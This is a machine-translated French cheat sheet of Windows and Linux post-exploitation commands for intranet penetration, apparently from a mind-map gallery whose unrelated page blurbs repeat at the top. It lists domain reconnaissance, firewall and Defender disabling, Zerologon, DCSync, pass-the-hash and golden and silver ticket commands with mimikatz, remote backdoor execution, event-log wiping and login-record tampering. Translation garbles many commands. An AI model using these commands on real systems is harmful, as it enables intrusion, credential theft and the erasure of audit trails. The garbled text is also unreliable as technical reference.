Galerie de cartes mentales Commandes courantes pour la pénétration intranet
Intervention complète d'urgence en matière d'exploitation et de maintenance de la sécurité du réseau, y compris la collecte d'informations, recherche de fichier, Tâches planifiées et à distance, Redirection de port, porte dérobée, Outils, acquisition d'informations, Nettoyage des traces, etc.
Modifié à 2024-03-22 14:57:47Cent ans de solitude est le chef-d'œuvre de Gabriel Garcia Marquez. La lecture de ce livre commence par l'analyse des relations entre les personnages, qui se concentre sur la famille Buendía et raconte l'histoire de la prospérité et du déclin de la famille, de ses relations internes et de ses luttes politiques, de son métissage et de sa renaissance au cours d'une centaine d'années.
Cent ans de solitude est le chef-d'œuvre de Gabriel Garcia Marquez. La lecture de ce livre commence par l'analyse des relations entre les personnages, qui se concentre sur la famille Buendía et raconte l'histoire de la prospérité et du déclin de la famille, de ses relations internes et de ses luttes politiques, de son métissage et de sa renaissance au cours d'une centaine d'années.
La gestion de projet est le processus qui consiste à appliquer des connaissances, des compétences, des outils et des méthodologies spécialisés aux activités du projet afin que celui-ci puisse atteindre ou dépasser les exigences et les attentes fixées dans le cadre de ressources limitées. Ce diagramme fournit une vue d'ensemble des 8 composantes du processus de gestion de projet et peut être utilisé comme modèle générique.
Cent ans de solitude est le chef-d'œuvre de Gabriel Garcia Marquez. La lecture de ce livre commence par l'analyse des relations entre les personnages, qui se concentre sur la famille Buendía et raconte l'histoire de la prospérité et du déclin de la famille, de ses relations internes et de ses luttes politiques, de son métissage et de sa renaissance au cours d'une centaine d'années.
Cent ans de solitude est le chef-d'œuvre de Gabriel Garcia Marquez. La lecture de ce livre commence par l'analyse des relations entre les personnages, qui se concentre sur la famille Buendía et raconte l'histoire de la prospérité et du déclin de la famille, de ses relations internes et de ses luttes politiques, de son métissage et de sa renaissance au cours d'une centaine d'années.
La gestion de projet est le processus qui consiste à appliquer des connaissances, des compétences, des outils et des méthodologies spécialisés aux activités du projet afin que celui-ci puisse atteindre ou dépasser les exigences et les attentes fixées dans le cadre de ressources limitées. Ce diagramme fournit une vue d'ensemble des 8 composantes du processus de gestion de projet et peut être utilisé comme modèle générique.
Commandes courantes pour la pénétration intranet
recueillir un message
commande nette
temps net/domaine groupe net "administrateurs de domaine" /domaine groupe net "contrôleurs de domaine" /domaine administrateur d'utilisateur net/domaine nltest /domain_trusts Obtenir la relation d'approbation du domaine nltest /dclist : part nette vue nette \\domainip net view /domain Afficher la liste des domaines/groupes de travail net view /domain:secwing Afficher la liste des ordinateurs du domaine secwing net config Workstation demande à quel domaine appartient la machine netstat -ano |findstr comptes net Afficher la politique de mot de passe locale
set Afficher les variables d'environnement
nbtstat -Une requête ip netbiso whoami / tous qwinsta //Afficher l'état de connexion requête utilisateur //Afficher la dernière heure de connexion de l'administrateur nltest /domain_trusts //Obtenir des informations sur l'approbation du domaine taskkill /f /im liste de tâches /svc Afficher les processus liste de tâches /S ip /U domaine om d'utilisateur /P /V //Afficher la liste des processus de l'ordinateur distant tracert IP //Traçage d'itinéraire impression d'itinéraire //Imprimer la table de routage arp -a //Liste toutes les adresses IP actives dans ce segment de réseau arp -s (ip MAC) // Lier le Mac et l'adresse IP arp -d (ip MAC) //Dissocier les adresses Mac et IP requête reg "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /ve Obtenir les enregistrements de connexion mstsc récents setspn -Q \*/\* Liste SPN
Recherche de fichier
findstr trouve les fichiers contenant des mots de passe
findstr /si mot de passe *.txt findstr /si mot de passe *.xml findstr /si mot de passe *.ini
dir trouver l'emplacement du fichier
rép /b /s unattend.xml rép /b /s web.config rép /b /s sysprep.inf
À distance
Désactivez le pare-feu
le pare-feu netsh définit le mode opmode = désactiver netsh advfirewall désactive l'état de tous les profils
fermer le ventdéfendre
net stop coupe-vent
Restaurer le pare-feu par défaut
Réinitialisation du pare-feu Netsh
Ouvrir le port 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Serveur /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
CVE-2020-1472
privilège ::débogage sekurlsa :: mots de passe de connexion lsadump ::zerologon /target:ip /account:ADC1$ lsadump::zerologon /target:ip /account:ADC1$ /exploit lsadump :: dcsync /domain:DC2.com /dc:DC2 /user:administrator /authuser:DC2$ /authdomain:DC2 /authpassword:"" /authntlm sekurlsa :: pth /utilisateur:administrateur /domaine : /rc5:161cff084477fe596a5db81874498a24
CIB
utilisation nette \\ip\ipc$ mot de passe /user:domain\user net use [url=file://\\IP\ipc$]\\IP\ipc$[/url] mot de passe /user:username@domain copier putty.exe \\192.168.0.100\admin$ heure nette \\192.168.0.100 à \\192.168.0.100 19:45 putty.exe net use Z : \\192.168.0.100\c$ Mappez le lecteur c cible sur le lecteur local rép \\192.168.17.138\c$ copier test.exe \\192.168.17.138\c$ utilisation nette * \\192.168.0.100 /del utilisation nette * /del /y utilisation nette * /del session de visualisation de l'utilisation nette session nette
WMI
wmic qfe get hotfixid //Voir les patchs installés, c'est très pratique liste wmic qfe complète /format:htable > hotfixes.htm //Installation détaillée des correctifs wmic qfe //Requête des informations sur le correctif et l'adresse de téléchargement fournies par Microsoft ping hostname (nom d'hôte) //Affiche l'adresse IP du nom de la machine wmic share get name,path //Afficher le chemin pointé par SMB wmic nteventlog get path,filename,writeable //Requête de l'emplacement de stockage des fichiers journaux du système brève liste de services wmic // Afficher les services de processus Résumé de la liste des processus wmic // Afficher le processus Résumé de la liste de démarrage wmic // Afficher les informations sur le programme de démarrage Résumé de la liste des produits wmic // Afficher les informations sur le programme d'installation et la version (indices d'exploitation des vulnérabilités) Liste de démarrage wmic complète //Identifier les programmes démarrés au démarrage processus wmic où(description="mysqld.exe") >> mysql.log //Obtenir le chemin d'installation du logiciel wmic /node:ip /user: /p pwd appel de processus créer c:\backdoor.exe wmic /node /user : /password : processus où e name="cmd.exe" se termine wmic /node:10.10.10.11 /user:administrator /password:1qaz@WSX appel de processus créer "cmd.exe /c ipconfig>c:\result.txt" WMIcmd.exe -h 192.168.1.152 -d nom d'hôte -u pt007 -p admin123 -c "ipconfig" processus wmic /node /user /password où name="cmd.exe" obtient CommandLine
Tâches planifiées
Commande AT (abandonnée par win server2012)
Établir une connexion d'utilisation Internet utilisation nette \\192.168.1.100\c$ 1qaz@WSX /user domaine\user Copier le fichier bat sur un ordinateur distant copier exec.bat \\192.168.1.100\c$\windows\debug\exec.bat Afficher l'heure de l'ordinateur distant heure nette \\192.168.1.100 Créer une nouvelle tâche planifiée à distance à \\192.168.1.100 21.52 c:\windows\temp\exec.bat Afficher la liste des tâches planifiées à distance au \\192.168.1.100
Tâches
Créer des tâches schtasks /create /s ip /u administrateur /password /ru "system" /tn adduser(name) /sc DAILY(time) /tr c:\windows\debug\add.bat /f Exécuter des tâches schtasks /run /s ip /u administrateur /p mot de passe /tn adduser /i schtasks /run /tn update /$ 10.10.10.137 /u test \administrator /p 1qaz@WSX Supprimer la tâche schtasks /delete /s ip /u administrateur /p mot de passe /tn adduser /f
Commande de contrôle de service SC, intégrée à Microsoft, coopère avec le partage de fichiers et crée des services à distance
Établir une connexion IPC et exécuter SC utilisation nette \\192.168.17.138\c$ "admin123" /user:pt007 utilisation nette rép \\192.168.17.138\c$ copier test.exe \\192.168.17.138\c$ Créer un service sc \\remote_ip créer services_name binpath= c:\backdoor.exe sc \\10.10.10.10 créer une mise à jour binpath= c:\programdata\a.bat Démarrer le service sc \\remote_ip start services_name sc \\10.10.10.10 démarrer la mise à jour Hors service sc \\remote_ip arrêter nom_service sc \\10.10.10.10 arrêter la mise à jour Supprimer le service sc \\remote_ip supprimer nom_service sc \\10.10.10.10 supprimer la mise à jour
redirection de port
Redirection de port Netsh
netsh firewall show config //Afficher la politique de pare-feu netsh firewall show state //Afficher la politique du pare-feu Activer la redirection de port interface netsh portproxy ajouter v4tov4 listeningaddress=localaddress listeningport=localport connectaddress=destaddress connectport=destport ouvrir le pare-feu netsh advfirewall pare-feu ajouter une règle name="firewallname" protocol=TCP dir=in localip=ip localport=port action=allow Afficher toutes les règles de transfert interface netsh portproxy afficher tout Supprimer le transfert netsh interface portproxy supprimer v4tov4 Listenport=port Listenaddress=IP réinitialiser Réinitialisation du proxy du port de l'interface Netsh
Redirection SSH
1.redirection de port ssh ssh -L [<hôte local>:] <port local>:<hôte distant>:<port distant><nom d'hôte ssh> 2. redirection de port inversée ssh ssh -R [<hôte local>:]<port local>:<hôte distant>:<port distant><nom d'hôte ssh> 3.ssh chaussettes proxy ssh -D [<hôte local> :] <port local><nom d'hôte ssh>
porte arrière
note dorée
Conditions et exigences pour les notes dorées : 1.Nom de domaine 2. Valeur SID du domaine whoami /user 3. Hachage du mot de passe NTLM du compte Krbtgt du domaine 4. Nom d'utilisateur falsifié sekurlsa::pth /user:administrateur /domaine:"GOD.org" /ntlm:61465a991b168727b65b3644aab823cd Adresse de domaine de l'utilisateur de connexion, valeur de cryptage Ntlm Une boîte CMD apparaîtra ici. Vérifions d'abord si nous avons l'autorisation en utilisant dir \\OWA.GOD.org\c$ [Afficher le lecteur C de contrôle de domaine] rép \\\\DC.zkaq.cn\c$ lsadump::dcsync /user:krbtgt /domain : Obtenez le mot de passe de krbtgt [mimikatz simulera le contrôle de domaine et demandera les informations de compte et de mot de passe au contrôle de domaine cible] Extrayez le sid et le hashNTLM à l'intérieur Kerberos :: GOLDEN /Admin: administrateur /domain:god.org /sign: S-1-5-21-2952760202-13539024381784089 /KRBTGT: 58e91a5886513AB2224312314000 61 /ticket:Administrator.kiribi [Factures de production] kerberos :: administrateur ptt.kiribi [charger le ticket] Injection directe de billets d'or kerveros :: golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:domainsid /krbtgt:hash /ptt kerberos :: purge efface les tickets privilège ::débogage Attendez que l'administrateur se connecte pour obtenir le mot de passe mimikatz #privilege :: debug Privilège '20' OK mimikatz # misc::memssp Injecté =) mimikatz #sortie
billets d'argent
Afficher le nom de l'utilisateur actuel whoami /utilisateur Obtenez le hachage de l'ordinateur cible sekurlsa :: mots de passe de connexion Vulnérabilité 1472 Générer des billets d'argent kerberos::golden /sid:domainsid /domain:test.local /ptt /id : faux ID utilisateur /target:mdc.test.local /service:cifs /rc : hachage de l'ordinateur cible /user : faux nom d'utilisateur
outil
requête
dsquery.exe user -limit 0#Requête des informations sur l'objet utilisateur dsquery.exe group -limit 0 #Requête d'informations sur l'objet du groupe dsquery.exe ou -limit 0#Query informations sur l'objet OU utilisateur dsquery domainroot -limit 65535 && net user /domain // Liste tous les noms d'utilisateurs du domaine dsquery server -domain supre.com | dsget server -dnsname -site //Recherchez tous les contrôleurs de domaine du domaine et affichez leurs noms d'hôte DNS et noms de site contact dsquery //Rechercher des contacts dans l'annuaire sous-réseau dsquery // Répertorie les divisions de segments de réseau dans ce domaine dsquery group && net group /domain //Liste les groupes de ce domaine dsquery ou //Liste des unités organisationnelles dans ce domaine serveur dsquery && net time /domain //Liste des contrôleurs de domaine dans ce domaine dsquery site -o rdn //Recherche tous les noms de sites du domaine groupe dsquery dc=GOD,dc=org |plus Rechercher tous les groupes dans le domaine dc=god, dc=org Ordinateur dsquery.exe #Trouver l'ordinateur dans la cible Site dsquery.exe #Rechercher des unités organisationnelles dans l'annuaire Serveur dsquery.exe #Trouver l'instance AD DC/LDS dans le répertoire
ADtrouver
AdFind -sc dclist #Liste des noms de contrôleurs de domaine AdFind -sc ordinateurs_active #Interroger les ordinateurs en ligne dans le domaine actuel AdFind -sc Computers_active name OperatingSystem #Interroger les ordinateurs en ligne dans le domaine actuel (uniquement le nom d'affichage et le système d'exploitation) AdFind.exe -sc materials_active name dnshostname #Interrogez les hôtes actifs dans le domaine et affichez le nom d'hôte et le nom de domaine AdFind -f "objectcategory=computer" #Interroger tous les ordinateurs du domaine actuel AdFind -f "objectcategory=computer" name OperatingSystem #Interroger tous les ordinateurs du domaine actuel (seuls le nom et le système d'exploitation sont affichés) AdFind -nom des utilisateurs #Interroger tous les utilisateurs du domaine AdFind -sc gpodmp #Interroger tous les GPO AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* #Requêtez les informations détaillées de tous les utilisateurs du domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test #Requête des détails d'utilisateur spécifiques dans le domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:test mail #Requête d'informations spécifiques à l'utilisateur (mail) dans le domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -dn #Interroger les informations dn de tous les utilisateurs du domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc u:* -c #Requêtez le nombre d'utilisateurs dans le domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:* #Interroger les informations détaillées de tous les groupes du domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc g:*Admin #Requêtez les informations détaillées de tous les groupes du domaine dont le nom de groupe contient Admin AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc o:* #Interroger tous les détails de l'UO dans le domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc c:* #Requête des informations détaillées sur tous les ordinateurs du domaine AdFind -h 10.10.10.10 -u GOD\administrator -up 1qaz@WSX -sc s:* #Interroger les informations détaillées de tous les sites du domaine
psexec paexec
psexec.exe -accepteula \\10.10.10.137 -u test\administrator -p 1qaz@WSX -i cmd.exe psexec.exe -accepteula -i -s -d cmd paexec.exe \\ip -u domaine\utilisateur -p pwd cmd.exe -noname utilisation nette \\ip pwd /u:domain\user paexec.exe \\ip cmd.exe netsh winhttp sh proxy voir proxy
multiplexage du port winrm dans le réseau
winrm quickconfig -q winrm s winrm/config/Client @{TrustedHosts="*"} Surveillance du port 80 ajoutée winrm définit winrm/config/service @{EnableCompatibilityHttpListener="true"} Modifier 5985 en 80 winrm set winrm/config/Listener?Address=* Transprot=HTTP @{port=80} Modifier le port WinRM en port Web winrs -r:http://xx -u:DC20\administratror -p:1qaz@WSX cmd
Accès à l'information
vue d'ensemble
charger Module Imoport .\PowerView.ps1 #Exécuter l'ordre Détails du groupe Get-DomainGroup #Query Get-DomainOU #Requêtez les informations détaillées de l'UO Get-DomainUser #Query détails de l'utilisateur
psloggendon.exe
nom d'utilisateur psloggedon.exe -l affiche uniquement les utilisateurs connectés localement et n'affiche pas les autres utilisateurs connectés au réseau -x n'affiche pas l'heure de connexion Affiche que l'utilisateur actuellement connecté à la machine distante peut saisir : psloggedon \\IP de la machine distante Ajoutez -accepteula pour la première fois pour ne pas afficher les informations de copyright.
netsess.exe
netsess.exe \\PRIMAIRE
PVEFindADUser.exe
PVEFindADUser.exe -actuel
wevtutil
wevtutil epl Sécurité C:\log.evtx /q:"*[EventData[Data[@Name='LogonType']='3'] et System[(EventID=4624) et TimeCreated[timediff (@SystemTime) <= 259200000 ]]]" /r:IP de l'ordinateur distant /u:nom d'utilisateur/p:mot de passe Journal d'exportation #epl #Sécurité signifie journal de sécurité #C:\log.evtx représente l'emplacement du journal exporté S'il est exporté à distance, il sera exporté vers l'ordinateur distant. #/q : représente l'instruction de requête de journal #System[(EventID=4624) représente l'ID temporel de 4624, qui est le journal de la connexion utilisateur réussie #EventData[Data[@Name='LogonType']='3'] signifie que le type de connexion est une connexion réseau #TimeCreated[timediff (@System Time) <= 259200000] signifie que seuls les journaux du mois dernier seront exportés. L'unité de 259200000 est la milliseconde. Vous pouvez modifier la taille du nombre en fonction des besoins réels. #Si vous exportez localement, vous n'avez pas besoin de spécifier l'option /r. Pour plus d'utilisation de #wevtutil, consultez sa documentation d'aide, qui peut être utilisée pour supprimer les journaux Windows.
analyseur de journaux
LogParser.exe -i:EVT -o csv "SELECT distinct TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) as SOURCE_IP FROM C:\*. evtx" > C:\log.csv # -i:EVT signifie que le format d'entrée du journal est evtx # -o csv signifie que le format de sortie est csv # Le contenu entre guillemets doubles est l'instruction de requête # distinct signifie dédupliquer les résultats # TO_UPPERCASE(EXTRACT_TOKEN(Strings,5,'|')) as USERNAME Analyser le nom du journal à partir du journal de connexion # USERNAME,TO_UPPERCASE(EXTRACT_TOKEN(Strings,18,'|')) Analyser la source de connexion à partir du journal de connexion # *.evtx peut traiter plusieurs fichiers journaux en même temps # Vous pouvez afficher les détails du journal de connexion via la commande suivante LogParser.exe -i:EVT -o:DATAGRID "sélectionner * à partir de *.evtx"
nettoyage des traces
wevtutil
wevtutil el répertorie les noms de tous les journaux du système Le système wevtutil cl efface les journaux système L'application wevtutil cl nettoie les journaux d'application wevtutil cl security efface les journaux de sécurité pour /f "delims=" %j in('wevtutil.exe el') faites @wevtutil.exe cl "%j" c:\windows\system32\winevt\logs\
Windows Defender
"C:\PROGRA~1\WINDOW~1\mpcmdrun.exe" -Restaurer -ListAll powershell -Command Add-MpPreference -ExclusionPath "C:\tmp" powershell -Command Add-MpPreference -ExclusionExtension".java" powershell -Command Add-MpPreference -ExclusionProcess "*.exe" powershell -Command Get-MpPreference
informations de connexion ssh
/var/log/btmp enregistre toutes les informations d'échec de connexion, utilisez la commande lastb pour afficher /var/log/lastlog enregistre le dernier journal des heures de connexion de tous les utilisateurs du système. Utilisez la commande lastlog pour l'afficher. /var/log/wtmp enregistre les informations de connexion et de déconnexion de tous les utilisateurs, utilisez la dernière commande pour afficher /var/log/utmp enregistre les informations de l'utilisateur actuellement connecté, utilisez w, who, users et d'autres commandes pour afficher /var/log/secure enregistre les informations de journal liées à la sécurité /var/log/message enregistre les informations et les journaux d'erreurs après le démarrage du système Le dernier enregistrement de connexion affiché lors de la connexion à ssh heure de la dernière connexion depuis l'adresse IP Enregistré dans le fichier /var/log/lastlog ~/.ssh/known_hosts Vous pouvez utiliser sed pour remplacer sed -i 's/propre IP/IP d'origine' /var/log/lastlog sed -i '/Date du jour/'d nom de fichier Connectez-vous au système de manière invisible et ne serez pas détecté par les commandes w, who, last et autres. ssh -T racine@192.168.01 /bin/bash -i